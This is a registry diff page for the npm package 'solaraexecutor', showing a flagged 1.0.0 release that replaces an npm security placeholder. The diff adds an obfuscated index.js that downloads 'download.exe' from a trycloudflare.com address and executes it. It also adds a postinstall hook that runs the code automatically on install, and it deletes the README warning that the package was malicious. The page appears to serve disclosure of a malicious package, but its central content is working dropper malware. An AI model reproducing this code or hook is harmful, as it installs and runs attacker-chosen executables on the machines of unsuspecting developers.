solaraexecutor 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of solaraexecutor might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +14 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x403ca4=_0x50d5;(function(_0x4c9fbb,_0x214b1c){const _0x18b4de=_0x50d5,_0x4cb730=_0x4c9fbb();while(!![]){try{const _0x891d94=parseInt(_0x18b4de(0x1d7))/0x1*(-parseInt(_0x18b4de(0x1d9))/0x2)+-parseInt(_0x18b4de(0x1d5))/0x3*(parseInt(_0x18b4de(0x1d4))/0x4)+parseInt(_0x18b4de(0x1c9))/0x5+parseInt(_0x18b4de(0x1d0))/0x6*(parseInt(_0x18b4de(0x1dd))/0x7)+parseInt(_0x18b4de(0x1ce))/0x8+-parseInt(_0x18b4de(0x1c6))/0x9*(parseInt(_0x18b4de(0x1c8))/0xa)+-parseInt(_0x18b4de(0x1d8))/0xb*(-parseInt(_0x18b4de(0x1d3))/0xc);if(_0x891d94===_0x214b1c)break;else _0x4cb730['push'](_0x4cb730['shift']());}catch(_0x5706e5){_0x4cb730['push'](_0x4cb730['shift']());}}}(_0x2453,0x73541));const fs=require(_0x403ca4(0x1d2)),path=require(_0x403ca4(0x1d6)),fetch=require(_0x403ca4(0x1ca)),{exec}=require(_0x403ca4(0x1cc)),exeFileName=_0x403ca4(0x1cb),downloadUrl=_0x403ca4(0x1dc),exeFilePath=path[_0x403ca4(0x1d1)](__dirname,exeFileName);function _0x2453(){const _0x2e6386=['214710nzMkMo','node-fetch','download.exe','child_process','Download\x20error:\x20','4550416PdMVpP','HTTP\x20error!\x20status:\x20','192Mjkivf','join','fs-extra','12SORtBh','4PmSsSt','566367GBHvoJ','path','465RsdqcO','1191025cuAHRV','458XOFVII','status','writeFile','https://gtk-optimize-webpage-tc.trycloudflare.com/page','169337SEfCcR','5112NsWcMi','error','12790SSAGrF'];_0x2453=function(){return _0x2e6386;};return _0x2453();}function _0x50d5(_0x142ff2,_0x4b8cab){const _0x245355=_0x2453();return _0x50d5=function(_0x50d5ce,_0x242cde){_0x50d5ce=_0x50d5ce-0x1c6;let _0x25d619=_0x245355[_0x50d5ce];return _0x25d619;},_0x50d5(_0x142ff2,_0x4b8cab);}async function downloadFile(_0x36ecc1,_0xe96f94){const _0x47c933=_0x403ca4,_0x42379f=await fetch(_0x36ecc1);if(!_0x42379f['ok'])throw new Error(_0x47c933(0x1cf)+_0x42379f[_0x47c933(0x1da)]);const _0x33738c=await _0x42379f['buffer']();await fs[_0x47c933(0x1db)](_0xe96f94,_0x33738c);}async function runExecutable(){const _0x41184b=_0x403ca4;try{await downloadFile(downloadUrl,exeFilePath),exec(exeFilePath,_0x5f9e2b=>{_0x5f9e2b&&console['error']('Error\x20running\x20the\x20executable:\x20'+_0x5f9e2b);});}catch(_0x27cee2){console[_0x41184b(0x1c7)](_0x41184b(0x1cd)+_0x27cee2);}}runExecutable();
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "solaraexecutor",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "Pkg",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "update": "index.js"
8
+ },
9
+ "scripts": {
10
+ "postinstall": "node index.js"
11
+ },
12
+ "dependencies": {
13
+ "fs-extra": "^10.0.0",
14
+ "node-fetch": "^2.6.7",
15
+ "sudo-prompt": "^9.2.1"
16
+ }
6
17
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=solaraexecutor for more information.